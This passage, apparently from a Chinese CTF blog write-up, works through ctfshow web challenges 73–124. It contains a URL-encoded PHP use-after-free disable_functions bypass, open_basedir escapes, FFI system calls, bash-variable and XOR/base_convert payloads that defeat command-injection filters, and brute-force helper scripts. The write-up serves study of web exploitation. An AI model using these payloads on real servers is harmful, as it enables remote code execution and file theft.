0%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_system(%24basic_funcs)%20%7B%0A%20%20%20%20%20%20%20%20%24addr%20%3D%20%24basic_funcs%3B%0A%20%20%20%20%20%20%20%20do%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3D%20leak(%24addr)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3D%20leak(%24f_entry%2C%200%2C%206)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3D%3D%200x6d6574737973)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2B%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2B%3D%200x20%3B%0A%20%20%20%20%20%20%20%20%7D%20while(%24f_entry%20!%3D%200)%3B%0A%20%20%20%20%20%20%20%20return%20false%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20trigger_uaf(%24arg)%20%7B%0A%0A%20%20%20%20%20%20%20%20%24arg%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%20%20%20%20%20%20%20%20%24vuln%20%3D%20new%20Vuln()%3B%0A%20%20%20%20%20%20%20%20%24vuln-%3Ea%20%3D%20%24arg%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(stristr(PHP_OS%2C%20'WIN'))%20%7B%0A%20%20%20%20%20%20%20%20die('This%20PoC%20is%20for%20*nix%20systems%20only.')%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24n_alloc%20%3D%2010%3B%20%0A%20%20%20%20%24contiguous%20%3D%20%5B%5D%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n_alloc%3B%20%24i%2B%2B)%0A%20%20%20%20%20%20%20%20%24contiguous%5B%5D%20%3D%20str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')%3B%0A%0A%20%20%20%20trigger_uaf('x')%3B%0A%20%20%20%20%24abc%20%3D%20%24backtrace%5B1%5D%5B'args'%5D%5B0%5D%3B%0A%0A%20%20%20%20%24helper%20%3D%20new%20Helper%3B%0A%20%20%20%20%24helper-%3Eb%20%3D%20function%20(%24x)%20%7B%20%7D%3B%0A%0A%20%20%20%20if(strlen(%24abc)%20%3D%3D%2079%20%7C%7C%20strlen(%24abc)%20%3D%3D%200)%20%7B%0A%20%20%20%20%20%20%20%20die(%22UAF%20failed%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20%24closure_handlers%20%3D%20str2ptr(%24abc%2C%200)%3B%0A%20%20%20%20%24php_heap%20%3D%20str2ptr(%24abc%2C%200x58)%3B%0A%20%20%20%20%24abc_addr%20%3D%20%24php_heap%20-%200xc8%3B%0A%0A%20%20%20%20write(%24abc%2C%200x60%2C%202)%3B%0A%20%20%20%20write(%24abc%2C%200x70%2C%206)%3B%0A%0A%20%20%20%20write(%24abc%2C%200x10%2C%20%24abc_addr%20%2B%200x60)%3B%0A%20%20%20%20write(%24abc%2C%200x18%2C%200xa)%3B%0A%0A%20%20%20%20%24closure_obj%20%3D%20str2ptr(%24abc%2C%200x20)%3B%0A%0A%20%20%20%20%24binary_leak%20%3D%20leak(%24closure_handlers%2C%208)%3B%0A%20%20%20%20if(!(%24base%20%3D%20get_binary_base(%24binary_leak)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20determine%20binary%20base%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24elf%20%3D%20parse_elf(%24base)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20parse%20ELF%20header%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24basic_funcs%20%3D%20get_basic_funcs(%24base%2C%20%24elf)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20basic_functions%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20if(!(%24zif_system%20%3D%20get_system(%24basic_funcs)))%20%7B%0A%20%20%20%20%20%20%20%20die(%22Couldn't%20get%20zif_system%20address%22)%3B%0A%20%20%20%20%7D%0A%0A%0A%20%20%20%20%24fake_obj_offset%20%3D%200xd0%3B%0A%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x110%3B%20%24i%20%2B%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%20%24fake_obj_offset%20%2B%20%24i%2C%20leak(%24closure_obj%2C%20%24i))%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20write(%24abc%2C%200x20%2C%20%24abc_addr%20%2B%20%24fake_obj_offset)%3B%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x38%2C%201%2C%204)%3B%20%0A%20%20%20%20write(%24abc%2C%200xd0%20%2B%200x68%2C%20%24zif_system)%3B%20%0A%0A%20%20%20%20(%24helper-%3Eb)(%24cmd)%3B%0A%20%20%20%20exit()%3B%0A%7D%0A%0Actfshow(%22cat%20%2Fflag0.txt%22)%3Bob_end_flush()%3B%0A%3F%3E%0A
post得到结果:
web73
首先查看目录下有什么文件:
c=include('/flagc.txt');exit();
发现存在flagc.txt,利用include将文件读出来:
c=include('/flagc.txt');exit();
web74
发现scandir被禁用了,利用php脚本读目录使用glob://伪协议绕过open_basedir:
c=?><?php $a=new DirectoryIterator("glob://./*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
c=?><?php $a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
?c=%3F%3E%3C%3Fphp%20%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3B%0Aforeach(%24a%20as%20%24f)%0A%7Becho(%24f-%3E__toString().'%20')%3B%0A%7D%0Aexit(0)%3B%0A%3F%3E
发现存在flagx.txt文件,利用include将文件读出来:
c=include('/flagx.txt');exit();
web75
利用
?c=%3F%3E%3C%3Fphp%20%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3B%0Aforeach(%24a%20as%20%24f)%0A%7Becho(%24f-%3E__toString().'%20')%3B%0A%7D%0Aexit(0)%3B%0A%3F%3E
找到文件为flag36.txt,接着使用传统方法读取文件读不出来,显示权限不够,uaf绕过也绕不了,根据提示发现是使用的数据库连接(PDO(PHP Database Object)去执行sql语句):
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
web76
与web75相同。
web77
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
首先还是找文件:
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
本想着利用web75、76的方法写sql语句,但是发现不成功,看了hint发现应该是与FFI有关(php7.4开始才有)。
c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
这样就将flag36x.txt写入flag.txt了,接着读取flag.txt即可得到flag:
c=include('flag.txt');exit();
web118
随便输入个“123”,抓包:
fuzz测试后只有大写字母和${}:?.~能通过!
此时要使用bash内置变量进行利用了!
看了别人的wp,应该做以下操作:
┌──(root💀kali)-[~]
└─# echo ${PWD}
/root
┌──(root💀kali)-[~]
└─# echo ${PWD:0:1} #表示从0下标开始的第一个字符
/
┌──(root💀kali)-[~]
└─# echo ${PWD:~0:1} #从结尾开始往前的第一个字符
t
┌──(root💀kali)-[~]
└─# echo ${PWD:~0}
t
┌──(root💀kali)-[~]
└─# echo ${PWD:~A} #所以字母和0具有同样作用
t
┌──(root💀kali)-[~]
└─# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
┌──(root💀kali)-[~]
└─# echo ${PATH:~A}
n
┌──(root💀kali)-[~]
└─# ls
Desktop Documents Downloads flag.txt Music Pictures Public Templates Videos
┌──(root💀kali)-[~]
└─# ${PATH:~A}l flag.txt
1 flag{test}
先来介绍一下!echo ${PWD} 这个命令是打印出当前的路径,当然这里也具有python里面的切片功能的!此时我们可以进行构造出nl命令进行读取!
${${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
${PWD}
/var/www/html
所以payload为
${PATH:~A}${PWD:~A} ????.???
当然这样也可以:
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
这里再来做几个实验!
┌──(root💀kali)-[/]
└─# echo ${#HOME}
5
┌──(root💀kali)-[/]
└─# echo ${#SHLVL}
1
┌──(root💀kali)-[/]
└─# echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
┌──(root💀kali)-[/]
└─# echo ${PATH:${#HOME}:${#SHLVL}}
l
┌──(root💀kali)-[/]
└─# echo ${#RANDOM}
4
┌──(root💀kali)-[/]
└─# echo ${PATH:${#RANDOM}:${#SHLVL}}
l
web119
这次将path给禁止了,所以我们不能构造了nl了,我们可以构造cat这个,它的权限一般为www.data这里可以得到at.
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时 $ {SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
php版本是7.3.22这就有了2这个数字了!
┌──(root💀kali)-[/]
└─# echo ${PWD:${#}:${SHLVL}} 1 ⨯
/
┌──(root💀kali)-[/]
└─# echo ${#HOSTNAME}
0
┌──(root💀kali)-[/]
└─# echo ${HOME:${#HOSTNAME}:${#SHLVL}}
/
┌──(root💀kali)-[/]
└─# echo ${#IFS} 1 ⨯
4
┌──(root💀kali)-[/]
└─# echo ${##}
1
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
或
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
这个是/bin/base64 flag.php
这个是hint
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
web120
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
不能用PATH了,还是构造base64的payload:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
base64的payload要多刷新几次,因为有时候系统找到的不算flag.php这个文件。
也可以用:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
web121
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
这次连SHLVL这些都不能使用了,在kali下进行测试发现:
┌──(kali㉿kali)-[/]
└─$ echo ${PWD:${#}:${##}}
/
那么改web120中base64的payload:
code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?????${#RANDOM} ????.???
多刷几次即可出现flag的base64形式。
也可以用:/bin/rev
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
这种出来的flag是反的。
web122
?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
能过滤的基本都过滤了,但是留了个HOME,看了hint,提示说:
通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
官方payload:
payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#可能存在成功的机会,不断刷新
web124
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
//ban 了单双反引号,不能直接利用 eval 命令执行
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
get 传参 c ,长度限制 80 ,有黑白名单,简而言之,要求你构造一个用白名单函数,又不包括黑名单符号的 payload 来命令执行。
白名单中数学函数分两种利用方法,进制转换和异或,旨在调用能返回字符串的数学函数达到命令执行的目的。
进制转换函数#
白名单里进制转换的函数:
'base_convert', 'bindec', 'decbin', 'dechex', 'hexdec', 'decoct','octdec'
函数解释:
base_convert(number,frombase,tobase)
在任意进制之间转换数字。
dechex(dec_number)
把十进制转换为十六进制。返回一个字符串,包含有给定 binary_string 参数的十六进制表示。所能转换的最大数值为十进制的 4294967295,其结果为 “ffffffff”。
hexdec(hex_string)
把十六进制转换为十进制。返回与 hex_string 参数所表示的十六进制数等值的的十进制数。
其他的
decbin
decbin
decoct
octdec
同上,分别是二进制、八进制与十进制的互转。
十六进制的字母范围只有 a-f ,显然是不符合我们构造的要求,而三十六进制字母范围正好为 a-z 。
而 base_convert
正好能在任意进制转换数字,这样我们传入十进制的数字,使其转换为三十六进制时,返回的字符串是我们想要的 cat
等命令就行了。
反过来构造,例如:
echo base_convert("cat",36,10);
//15941
但这里,虽然可以构造纯字母字符串了,但进制转换显然不能返回 .
/
*
等特殊字符,而这就需要用到另一类运算函数。
运算函数#
比如我们要构造 system('cat *')
那么我们需要返回 空格*
这样的函数,而 php 中函数名默认为字符串,可以进行异或。
php 中异或运算符
^
是位运算符,如果进行运算的都是数字的话:将会先转换为二进制来按位异或,比如:
echo 12 ^ 9; // Outputs '5'
但如果进行运算的有字符串呢?
echo "12" ^ "9"; // Outputs the Backspace character (ascii 8) // ('1' (ascii 49)) ^ ('9' (ascii 57)) = #8 echo "hallo" ^ "hello"; // Outputs the ascii values #0 #4 #0 #0 #0 // 'a' ^ 'e' = #4 echo 2 ^ "3"; // Outputs 1 // 2 ^ ((int)"3") == 1 echo "2" ^ 3; // Outputs 1 // ((int)"2") ^ 3 == 1
长度一致时,会先把字符串按位转换为 ascii 码,再将 ascii 码转换为二进制进行按位异或,最后输出 ascii 为异或结果的字符。
长度不一致时,按最短的字符串长度按位异或,比如
"12" ^ "9"
的例子。按位异或运算的几个性质:
- 结合律a ^ b ^ c = a ^ c ^ b
- 交换律a ^ b = b ^ a
- 数值交换(能交换 a 与 b 的值)a = a ^ b; b = a ^ b; a = a ^ b;
而我们要构造有
空格*
该怎么利用异或呢?由上面的性质 1 其实就已经明确了,
"a"^"a"
结果是多少呢?相同即 0 ,也就是说,其 ascii 全 0 ,ascii 全 0 按位异或,得到的不就完全是另外一个 ascii 码吗,换言之,"a"^"x"^"a"
无论怎么调换顺序,输出的都是 x 的ascii 码 120 ,无论 x 被替换为什么,都是一样的结果。这也是 N0rths 师傅在博客中写的脚本中是
echo $k^$i^" *";
的原因,想得到空格*
就找k
和i
能异或出另外一个数学函数dechex
构造的值,取的值自然是我们这里的白名单函数,前面说过,函数名默认为字符串。
师傅的爆破脚本
<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
$whitelist2 = [ 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh','abs'];
foreach ($whitelist as $i):
foreach ($whitelist2 as $k):
echo $k^$i^" *";
echo " " . $i . " " . $k;
echo "<br/>";
endforeach;
endforeach;
理解上述这些后,来分析下师傅最终的 payload:
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//base_convert(1751504350,10,36) ->system
//base_convert(15941,10,36) -> cat
//system('cat *')
而 dechex(16)
返回的值正好是 10 ,所以 dechex(16)^asinh^pi
这个表达式就相当于 asinh^pi^" *"^asinh^pi
也就相当于 " *"^"a"^"a"
输出自然就是 空格*
。
当然构造不止 asinh^pi
,其他也能异或出 空格*
,只需要找到异或结果为十六进制形式的组合,再找到转十六进制与其相等的一个十进制数,利用 hexdec()
进行异或即可。
dechex(11)^atan2^pow` 的结果也为 `空格*
当然,既然能异或出特殊字符,那么异或出字母也不是什么难事,我们可以不用进制转换来构造关键字。
这部分放在下面的构造 _GET
绕过来一起分析。
接下来我们再来学习绕过的操作,N0rths 师傅是直接读取 flag 的,除了 cat *
以外,师傅还提到了 nl f*
这个命令来读取,以图为例:
命令解释:
nl [参数] [文件]
nl命令是一个很好用的编号过滤工具。该命令可以读取 File 参数(缺省情况下标准输入),计算输入中的行号,将计算过的行号写入标准输出。
绕过姿势#
构造 _GET#
因为黑名单字符过滤较多,我们也可以用 _GET[]
来传 system
之类的命令,但 []
被过滤了,师傅提到的一个 trick 就是 {}
代替 []
。
先上 payload :
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
// base_convert(37907361743,10,36) -> hex2bin
// dechex(1598506324) -> 5f474554
// hex2bin("5f474554") -> _GET
payload 的 (pi){pi}((pi){abs})
这一串又是什么意思呢?为什么能将变量 pi
的值作为函数使用?
这里牵扯到 php 可变变量和可变函数的用法。
简而言之,一个变量的变量名可以动态的设置和使用。一个普通的变量通过声明来设置,例如:
$a = "land";
而一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。
$$a = "vidar";
这时,两个变量都被定义了:
$a
的内容是“land”
并且$land
的内容是“vidar”
。回到正题,
$pi
的值为hex2bin("5f474554")
,$$pi
也就是$hex2bin("5f474554") -> $_GET
,变成了预定义变量。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
上面说过,
{}
其实是代替[]
,其实本为(pi)[pi]((pi)[abs])
,即_GET[pi]((_GET)[abs])
,而
pi
的值正好是system
,php 就会寻找system
函数来执行圆括号里的语句。即
system('tac flag.php')
而上面说过,我们可以不利用进制转换,单纯异或构造语句:
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /flag
同样这里利用了 php 可变变量和可变函数,但异或的对象有所不同,前文中明摆着我们是两个字符串相异或,而这里的 is_nan^(6).(4)
又会是什么结果呢?
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br />";
}
}
}
这里的 $i.$j
其实是字符串类型,也就是我们利用数学函数名与 01~99 范围的字符串想异或,这样我们可以得到字母(当然部分特殊字符也能得出):
而 payload 中的 (is_nan^(6).(4)).(tan^(1).(5))
正是 "_G"."ET"
,即 _GET
。
getallheaders 利用请求头传语句#
长度限制 80 是很容易超长的,何况还有白名单函数的限制,不能直接输入 cat
等命令,而我们可以利用 getallheaders
这个函数,把命令放在请求头来拼接语句。
函数解释:
获取全部 HTTP 请求头信息。
payload:
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//base_convert(696468,10,36) -> exec
//base_convert(8768397090111664438,10,30) -> getallheaders
//exec(getallheaders(){1})
在报文头中相应属性,值为要执行的命令:
好了,love math 到此告一段落,来看看今年的护网杯的 SimpleCalculator 。
SimpleCalculator#
取反绕过#
这题其实 love math 的异或 payload 就能打出来,摆出这道题其实只是为了介绍另外一种运算 ~
。
~
运算符按位取反,将
$a
中为 0 的位设为 1,反之亦然。也就是说,我们要返回
system
,可以按位用其反码来构造 payload 。
因为记忆比较模糊,可能说的不太准确,当初 fuzz 的时候,其实输入框的限制是非常严格的:
_ ' " 空格 hex2bin、dechex、chr等等一些可以与字符互转的函数 system、exec等等一些可以命令执行的函数
上面这些都被匹配到了,长度还限制 80 ,但对 url 上的却有松懈,因此可以说是 yt 。
这里要分析的是本校师傅给的一个神奇 payload :
$ip=(~%8C%86%8C%8B%9A%92);$ip(~%9C%9E%8B%DF%D0%99%93%9E%98);
%8C%86%8C%8B%9A%92
这些是 url 编码,解码后转换为 ascii 码,ascii 码再转换为二进制数,取其反码,然后逆操作,最后得到的值就是 system
。
以 %8C
为例,进行的运算用函数表示如下:
echo chr(~ord(urldecode('%8C')));
//s
exp:
<?php
$pay = "system";
$re = "";
for ($i = 0; $i < strlen($pay); $i++){
$pay[$i] = chr(~ord($pay[$i]));
$re.= urlencode($pay[$i]);
}
echo $re;
?>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理